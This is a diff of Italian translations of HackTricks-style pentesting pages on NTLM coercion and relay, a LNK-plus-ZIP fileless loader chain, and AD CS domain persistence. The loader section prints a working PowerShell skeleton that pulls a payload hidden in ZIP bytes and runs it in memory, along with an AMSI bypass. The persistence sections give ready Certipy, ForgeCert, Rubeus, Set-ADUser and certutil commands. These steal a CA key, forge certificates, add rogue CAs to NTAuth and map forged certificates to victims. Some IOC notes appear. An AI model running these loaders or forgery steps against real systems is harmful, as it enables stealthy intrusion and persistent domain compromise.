Ci sono diversi modi per **forzare l'autenticazione NTLM "da remoto"**, per esempio, puoi aggiungere **immagini invisibili** nelle email o in HTML a cui l'utente accederà (anche tramite HTTP MitM?). Oppure inviare alla vittima l'**indirizzo di file** che **attiveranno** un'**autenticazione** semplicemente aprendo la cartella.
|
||||
|
||||
**Vedi queste idee e altre nelle pagine seguenti:**
|
||||
**Consulta queste idee e altre nelle pagine seguenti:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -156,24 +156,24 @@ Esistono diversi modi per **forzare l'autenticazione NTLM "remotamente"**, per e
|
||||
|
||||
### NTLM Relay
|
||||
|
||||
Non dimenticare che non puoi soltanto rubare l'hash o l'autenticazione ma anche **eseguire NTLM relay attacks**:
|
||||
Non dimenticare che non puoi solo rubare l'hash o l'autenticazione, puoi anche eseguire **NTLM relay attacks**:
|
||||
|
||||
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||
|
||||
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
|
||||
|
||||
Campagne altamente efficaci consegnano uno ZIP che contiene due documenti esca legittimi (PDF/DOCX) e un .lnk malevolo. Il trucco è che il vero loader PowerShell è memorizzato all'interno dei byte grezzi dello ZIP dopo un marker unico, e il .lnk lo estrae e lo esegue completamente in memoria.
|
||||
Campagne estremamente efficaci recapitano uno ZIP che contiene due documenti esca legittimi (PDF/DOCX) e un .lnk maligno. Il trucco è che il loader PowerShell vero e proprio è memorizzato nei byte grezzi dello ZIP dopo un marker univoco, e il .lnk lo estrae ed esegue interamente in memoria.
|
||||
|
||||
Flusso tipico implementato dal one-liner PowerShell del .lnk:
|
||||
|
||||
1) Individuare lo ZIP originale in percorsi comuni: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, e la cartella padre della working directory corrente.
|
||||
1) Individuare lo ZIP originale in percorsi comuni: Desktop, Downloads, Documents, %TEMP%, %ProgramData% e la cartella superiore della directory di lavoro corrente.
|
||||
2) Leggere i byte dello ZIP e trovare un marker hardcoded (es., xFIQCV). Tutto ciò che segue il marker è il payload PowerShell incorporato.
|
||||
3) Copiare lo ZIP in %ProgramData%, estrarlo lì, e aprire il .docx esca per apparire legittimo.
|
||||
3) Copiare lo ZIP in %ProgramData%, estrarlo lì e aprire il .docx esca per risultare legittimo.
|
||||
4) Bypassare AMSI per il processo corrente: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) Deoffuscare la fase successiva (es., rimuovere tutti i caratteri '#') ed eseguirla in memoria.
|
||||
5) Deoffuscare la fase successiva (es., rimuovere tutti i caratteri #) ed eseguirla in memoria.
|
||||
|
||||
Esempio di scheletro PowerShell per estrarre ed eseguire la fase incorporata:
|
||||
Esempio di scheletro PowerShell per estrarre e eseguire la fase incorporata:
|
||||
```powershell
|
||||
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
|
||||
$paths = @(
|
||||
@ -191,21 +191,30 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
|
||||
Invoke-Expression $code
|
||||
```
|
||||
Note
|
||||
- La delivery spesso abusa di sottodomini PaaS affidabili (es., *.herokuapp.com) e può limitare i payload (servire ZIP benigni in base a IP/UA).
|
||||
- La fase successiva frequentemente decripta base64/XOR shellcode ed esegue il codice tramite Reflection.Emit + VirtualAlloc per minimizzare gli artefatti su disco.
|
||||
- La delivery spesso abusa di sotto-domini PaaS reputati (es., *.herokuapp.com) e può limitare i payload (servendo ZIP benigni in base a IP/UA).
|
||||
- La fase successiva spesso decodifica shellcode base64/XOR ed esegue il codice tramite Reflection.Emit + VirtualAlloc per minimizzare gli artefatti su disco.
|
||||
|
||||
Persistenza utilizzata nella stessa catena
|
||||
Persistence used in the same chain
|
||||
- COM TypeLib hijacking del Microsoft Web Browser control in modo che IE/Explorer o qualsiasi app che lo incorpora rilanci automaticamente il payload. Vedi dettagli e comandi pronti all'uso qui:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
Rilevamento/IOCs
|
||||
- File ZIP contenenti la stringa marker ASCII (es., xFIQCV) aggiunta ai dati dell'archivio.
|
||||
- .lnk che enumera cartelle genitore/utente per localizzare lo ZIP e apre un documento esca.
|
||||
Hunting/IOCs
|
||||
- File ZIP contenenti la stringa marker ASCII (es., xFIQCV) appesa ai dati dell'archivio.
|
||||
- .lnk che enumera cartelle parent/utente per individuare lo ZIP e apre un documento esca.
|
||||
- Manomissione di AMSI tramite [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||
- Thread di business a lunga esecuzione che terminano con link ospitati su domini PaaS affidabili.
|
||||
- Thread di lunga durata legati a processi business che terminano con link ospitati su domini PaaS di fiducia.
|
||||
|
||||
## File Windows da cui rubare hash NTLM
|
||||
|
||||
Consulta la pagina su **places to steal NTLM creds**:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## Riferimenti
|
||||
|
||||
|
@ -1,27 +1,27 @@
|
||||
# AD CS Domain Persistence
|
||||
# Persistenza del dominio AD CS
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Questa è una sintesi delle tecniche di persistenza nel dominio condivise in [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**. Consulta il documento per ulteriori dettagli.
|
||||
**Questa è una sintesi delle tecniche di persistenza del dominio condivise in [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**. Consultalo per ulteriori dettagli.
|
||||
|
||||
## Falsificazione di certificati con certificati CA rubati - DPERSIST1
|
||||
## Forging Certificates with Stolen CA Certificates - DPERSIST1
|
||||
|
||||
Come puoi riconoscere che un certificato è un certificato CA?
|
||||
How can you tell that a certificate is a CA certificate?
|
||||
|
||||
Si può determinare che un certificato è un certificato CA se sono soddisfatte diverse condizioni:
|
||||
|
||||
- Il certificato è memorizzato sul server CA, con la sua chiave privata protetta dal DPAPI della macchina, oppure da hardware come TPM/HSM se il sistema operativo lo supporta.
|
||||
- I campi Issuer e Subject del certificato corrispondono al distinguished name della CA.
|
||||
- Il certificato è memorizzato sul CA server, con la sua chiave privata protetta dal DPAPI della macchina, o da hardware come TPM/HSM se il sistema operativo lo supporta.
|
||||
- Entrambi i campi Issuer e Subject del certificato corrispondono al distinguished name della CA.
|
||||
- Un'estensione "CA Version" è presente esclusivamente nei certificati CA.
|
||||
- Il certificato è privo dei campi Extended Key Usage (EKU).
|
||||
- Il certificato non contiene campi Extended Key Usage (EKU).
|
||||
|
||||
Per estrarre la chiave privata di questo certificato, lo strumento `certsrv.msc` sul server CA è il metodo supportato tramite l'interfaccia grafica integrata. Tuttavia, questo certificato non differisce dagli altri memorizzati nel sistema; di conseguenza, possono essere applicati metodi come la [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) per l'estrazione.
|
||||
Per estrarre la chiave privata di questo certificato, lo strumento `certsrv.msc` sul CA server è il metodo supportato tramite la GUI integrata. Tuttavia, questo certificato non differisce dagli altri memorizzati nel sistema; pertanto, possono essere applicati metodi come la [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) per l'estrazione.
|
||||
|
||||
Il certificato e la chiave privata possono anche essere ottenuti utilizzando Certipy con il seguente comando:
|
||||
Il certificato e la chiave privata possono essere ottenuti anche usando Certipy con il seguente comando:
|
||||
```bash
|
||||
certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup
|
||||
```
|
||||
Una volta acquisito il certificato CA e la sua chiave privata in formato `.pfx`, strumenti come [ForgeCert](https://github.com/GhostPack/ForgeCert) possono essere utilizzati per generare certificati validi:
|
||||
Dopo aver ottenuto il certificato CA e la sua chiave privata in formato `.pfx`, strumenti come [ForgeCert](https://github.com/GhostPack/ForgeCert) possono essere utilizzati per generare certificati validi:
|
||||
```bash
|
||||
# Generating a new certificate with ForgeCert
|
||||
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!
|
||||
@ -36,19 +36,19 @@ Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /pa
|
||||
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
|
||||
```
|
||||
> [!WARNING]
|
||||
> L'utente preso di mira per la falsificazione del certificato deve essere attivo e in grado di autenticarsi in Active Directory affinché il processo abbia successo. Falsificare un certificato per account speciali come krbtgt è inefficace.
|
||||
> L'utente preso di mira per la falsificazione del certificato deve essere attivo e in grado di autenticarsi in Active Directory affinché il processo abbia successo. Falsificare un certificato per account speciali come krbtgt non è efficace.
|
||||
|
||||
Questo certificato falsificato sarà **valido** fino alla data di scadenza specificata e finché il certificato root CA è valido (di solito da 5 a **10+ anni**). È anche valido per le **macchine**, quindi, combinato con **S4U2Self**, un attaccante può **mantenere la persistenza su qualsiasi macchina del dominio** per tutto il periodo di validità del certificato CA.\
|
||||
Inoltre, i **certificati generati** con questo metodo **non possono essere revocati**, poiché la CA non ne è a conoscenza.
|
||||
Questo certificato falsificato sarà **valido** fino alla data di scadenza specificata e **finché il certificato root CA rimane valido** (di solito da 5 a **10+ anni**). È inoltre valido per le **macchine**, quindi combinato con **S4U2Self**, un attaccante può **mantenere persistenza su qualsiasi macchina del dominio** per tutto il periodo di validità del certificato CA.\
|
||||
Inoltre, i **certificati generati** con questo metodo **non possono essere revocati** poiché la CA non è a conoscenza di essi.
|
||||
|
||||
### Operare con Strong Certificate Mapping Enforcement (2025+)
|
||||
### Operare sotto Strong Certificate Mapping Enforcement (2025+)
|
||||
|
||||
Dal 11 febbraio 2025 (dopo il rollout di KB5014754), i domain controller impostano per default **Full Enforcement** per le mappature dei certificati. In pratica ciò significa che i tuoi certificati falsificati devono o:
|
||||
Dal 11 febbraio 2025 (dopo il rollout di KB5014754), i domain controllers impostano di default **Full Enforcement** per le mappature dei certificati. Praticamente questo significa che i tuoi certificati falsificati devono o:
|
||||
|
||||
- Contenere un legame forte con l'account di destinazione (per esempio, la SID security extension), oppure
|
||||
- Essere abbinati a una mappatura esplicita e forte nell'attributo `altSecurityIdentities` dell'oggetto di destinazione.
|
||||
- Contenere un'associazione forte all'account di destinazione (per esempio, l'estensione di sicurezza SID), oppure
|
||||
- Essere abbinati a una mappatura esplicita e forte sull'attributo `altSecurityIdentities` dell'oggetto di destinazione.
|
||||
|
||||
Un approccio affidabile per la persistenza è emettere un certificato falsificato concatenato all'Enterprise CA rubata e poi aggiungere una mappatura esplicita e forte al principal della vittima:
|
||||
Un approccio affidabile per la persistenza è emettere un certificato falsificato con catena alla Enterprise CA rubata e poi aggiungere una mappatura esplicita forte al principal vittima:
|
||||
```powershell
|
||||
# Example: map a forged cert to a target account using Issuer+Serial (strong mapping)
|
||||
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA' # reverse DN format expected by AD
|
||||
@ -57,17 +57,16 @@ $Map = "X509:<I>$Issuer<SR>$SerialR" # strong mapping format
|
||||
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
|
||||
```
|
||||
Note
|
||||
- Se puoi creare certificati falsificati che includono l'estensione di sicurezza SID, questi verranno mappati implicitamente anche con Full Enforcement. Altrimenti, preferisci mappature esplicite e robuste. Vedi
|
||||
[account-persistence](account-persistence.md) per ulteriori informazioni sulle mappature esplicite.
|
||||
- La revoca non aiuta i difensori qui: i certificati falsificati sono sconosciuti al database CA e quindi non possono essere revocati.
|
||||
- Se puoi creare certificati contraffatti che includono la SID security extension, questi verranno mappati implicitamente anche sotto Full Enforcement. Altrimenti, preferisci mappature esplicite e robuste. Vedi [account-persistence](account-persistence.md) per maggiori dettagli sulle mappature esplicite.
|
||||
- La revoca qui non aiuta i difensori: i certificati contraffatti non sono noti al database della CA e quindi non possono essere revocati.
|
||||
|
||||
## Trusting Rogue CA Certificates - DPERSIST2
|
||||
## Fiducia in Rogue CA Certificates - DPERSIST2
|
||||
|
||||
The `NTAuthCertificates` object is defined to contain one or more **certificati CA** within its `cacertificate` attribute, which Active Directory (AD) utilizes. The verification process by the **controller di dominio** involves checking the `NTAuthCertificates` object for an entry matching the **CA specificata** in the Issuer field of the authenticating **certificato**. Authentication proceeds if a match is found.
|
||||
L'oggetto `NTAuthCertificates` è definito per contenere uno o più **CA certificates** nel suo attributo `cacertificate`, utilizzato da Active Directory (AD). Il processo di verifica da parte del **domain controller** consiste nel controllare l'oggetto `NTAuthCertificates` per un'entrata che corrisponda alla **CA specified** nel campo Issuer del **certificate** che sta autenticando. L'autenticazione procede se viene trovato un match.
|
||||
|
||||
Un certificato CA self-signed può essere aggiunto all'oggetto `NTAuthCertificates` da un attaccante, a condizione che abbia il controllo su questo oggetto AD. Normalmente, solo i membri del gruppo **Enterprise Admin**, insieme a **Domain Admins** o **Administrators** nel **forest root’s domain**, hanno il permesso di modificare questo oggetto. Possono modificare l'oggetto `NTAuthCertificates` usando `certutil.exe` con il comando `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA`, oppure impiegando lo [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool).
|
||||
Un certificato CA self-signed può essere aggiunto all'oggetto `NTAuthCertificates` da un attacker, a condizione che abbia il controllo su questo oggetto AD. Normalmente, solo i membri del gruppo **Enterprise Admin**, insieme a **Domain Admins** o **Administrators** nel **forest root’s domain**, hanno il permesso di modificare questo oggetto. Possono modificare l'oggetto `NTAuthCertificates` usando `certutil.exe` con il comando `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA`, oppure impiegando il [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool).
|
||||
|
||||
Additional helpful commands for this technique:
|
||||
Comandi aggiuntivi utili per questa tecnica:
|
||||
```bash
|
||||
# Add/remove and inspect the Enterprise NTAuth store
|
||||
certutil -enterprise -f -AddStore NTAuth C:\Temp\CERT.crt
|
||||
@ -78,34 +77,34 @@ certutil -enterprise -delstore NTAuth <Thumbprint>
|
||||
certutil -dspublish -f C:\Temp\CERT.crt RootCA # CN=Certification Authorities
|
||||
certutil -dspublish -f C:\Temp\CERT.crt CA # CN=AIA
|
||||
```
|
||||
Questa capacità è particolarmente rilevante quando usata insieme a un metodo descritto in precedenza che utilizza ForgeCert per generare dinamicamente certificati.
|
||||
Questa capability è particolarmente rilevante quando utilizzata in combinazione con un metodo descritto in precedenza che impiega ForgeCert per generare dinamicamente certificati.
|
||||
|
||||
> Post-2025 mapping considerations: placing a rogue CA in NTAuth only establishes trust in the issuing CA. To use leaf certificates for logon when DCs are in **Full Enforcement**, the leaf must either contain the SID security extension or there must be a strong explicit mapping on the target object (for example, Issuer+Serial in `altSecurityIdentities`). See {{#ref}}account-persistence.md{{#endref}}.
|
||||
> Considerazioni sulla mappatura post-2025: inserire una rogue CA in NTAuth stabilisce solo la fiducia nella CA emittente. Per usare certificati leaf per il logon quando i DCs sono in **Full Enforcement**, il leaf deve o contenere l'estensione di sicurezza SID oppure deve esistere una mappatura esplicita forte sull'oggetto target (per esempio, Issuer+Serial in `altSecurityIdentities`). Vedi {{#ref}}account-persistence.md{{#endref}}.
|
||||
|
||||
## Configurazione malevola - DPERSIST3
|
||||
## Misconfigurazione malevola - DPERSIST3
|
||||
|
||||
Le opportunità per **persistence** tramite modifiche dei security descriptor dei componenti di **AD CS** sono numerose. Le modifiche descritte nella sezione "[Domain Escalation](domain-escalation.md)" possono essere implementate in modo malevolo da un attacker con accesso elevato. Questo include l'aggiunta di "control rights" (ad es., WriteOwner/WriteDACL/etc.) a componenti sensibili quali:
|
||||
Le opportunità per la **persistenza** tramite modifiche ai descrittori di sicurezza dei componenti di **AD CS** sono numerose. Le modifiche descritte nella sezione "[Domain Escalation](domain-escalation.md)" possono essere implementate in modo malevolo da un attaccante con accesso elevato. Questo include l'aggiunta di "control rights" (ad es., WriteOwner/WriteDACL/etc.) a componenti sensibili come:
|
||||
|
||||
- L'oggetto **computer AD del CA server**
|
||||
- Il **server RPC/DCOM del CA server**
|
||||
- Qualsiasi **oggetto AD discendente o contenitore** in **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** (ad esempio, il Certificate Templates container, il Certification Authorities container, l'oggetto NTAuthCertificates, ecc.)
|
||||
- **AD groups delegati con diritti di controllo su AD CS** di default o dalla organizzazione (come il gruppo incorporato Cert Publishers e qualsiasi suo membro)
|
||||
- Il **CA server’s AD computer** object
|
||||
- Il **CA server’s RPC/DCOM server**
|
||||
- Qualsiasi **descendant AD object or container** in **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** (per esempio, il container Certificate Templates, il container Certification Authorities, l'oggetto NTAuthCertificates, ecc.)
|
||||
- **AD groups delegated rights to control AD CS** per impostazione predefinita o dall'organizzazione (come il built-in Cert Publishers group e qualunque suo membro)
|
||||
|
||||
Un esempio di implementazione malevola coinvolgerebbe un attacker, che ha **elevated permissions** nel dominio, che aggiunge il permesso **`WriteOwner`** al template di certificato di default **`User`**, con l'attaccante come principale per il diritto. Per sfruttare ciò, l'attaccante cambierebbe prima la proprietà del template **`User`** su se stesso. Successivamente, la **`mspki-certificate-name-flag`** verrebbe impostata a **1** sul template per abilitare **`ENROLLEE_SUPPLIES_SUBJECT`**, permettendo a un utente di fornire un Subject Alternative Name nella richiesta. In seguito, l'attaccante potrebbe **enroll** usando il **template**, scegliendo come nome alternativo un **domain administrator**, e utilizzare il certificato acquisito per l'autenticazione come DA.
|
||||
Un esempio di implementazione malevola coinvolgerebbe un attaccante, con **permissi elevati** nel dominio, che aggiunge il permesso **`WriteOwner`** al template di certificato predefinito **`User`**, rendendo l'attaccante il principal per quel diritto. Per sfruttare ciò, l'attaccante cambierebbe innanzitutto la proprietà del template **`User`** su se stesso. Successivamente, il **`mspki-certificate-name-flag`** verrebbe impostato a **1** sul template per abilitare **`ENROLLEE_SUPPLIES_SUBJECT`**, permettendo a un utente di fornire un Subject Alternative Name nella richiesta. Dopodiché, l'attaccante potrebbe **enroll** usando il **template**, scegliendo un nome di **domain administrator** come alternative name, e utilizzare il certificato ottenuto per autenticarsi come DA.
|
||||
|
||||
Impostazioni pratiche che un attacker può configurare per la persistence a lungo termine nel dominio (vedi {{#ref}}domain-escalation.md{{#endref}} per dettagli completi e rilevamento):
|
||||
Impostazioni pratiche che gli attaccanti possono configurare per la persistenza a lungo termine nel dominio (vedi {{#ref}}domain-escalation.md{{#endref}} per dettagli completi e rilevamento):
|
||||
|
||||
- Flag di policy della CA che permettono SAN dalle richieste (ad es., abilitare `EDITF_ATTRIBUTESUBJECTALTNAME2`). Questo mantiene percorsi simili a ESC1 sfruttabili.
|
||||
- DACL del template o impostazioni che permettono issuance con capacità di autenticazione (ad es., aggiungere Client Authentication EKU, abilitare `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`).
|
||||
- Controllare l'oggetto `NTAuthCertificates` o i container della CA per reintrodurre continuamente issuer rogue se i defenders tentano di pulire.
|
||||
- CA policy flags che consentono SAN dai richiedenti (es., abilitando `EDITF_ATTRIBUTESUBJECTALTNAME2`). Questo mantiene percorsi simili a ESC1 sfruttabili.
|
||||
- DACL o impostazioni del template che permettono emissione con capacità di autenticazione (es., aggiungendo Client Authentication EKU, abilitando `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`).
|
||||
- Controllare l'oggetto `NTAuthCertificates` o i container CA per re-introdurre continuamente issuer rogue se i difensori tentano il cleanup.
|
||||
|
||||
> [!TIP]
|
||||
> In ambienti hardenizzati dopo KB5014754, accoppiare queste misconfigurazioni con mappature esplicite e forti (`altSecurityIdentities`) assicura che i certificati emessi o forged rimangano utilizzabili anche quando i DC applicano il strong mapping.
|
||||
> Negli ambienti hardenati dopo KB5014754, abbinare queste misconfigurazioni a mappature esplicite forti (`altSecurityIdentities`) garantisce che i certificati emessi o forgiati rimangano utilizzabili anche quando i DCs impongono la mappatura forte.
|
||||
|
||||
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- Microsoft KB5014754 – Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
|
||||
- Microsoft KB5014754 – Modifiche all'autenticazione basata su certificati sui Windows domain controllers (enforcement timeline e strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
|
||||
- Certipy – Command Reference and forge/auth usage. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user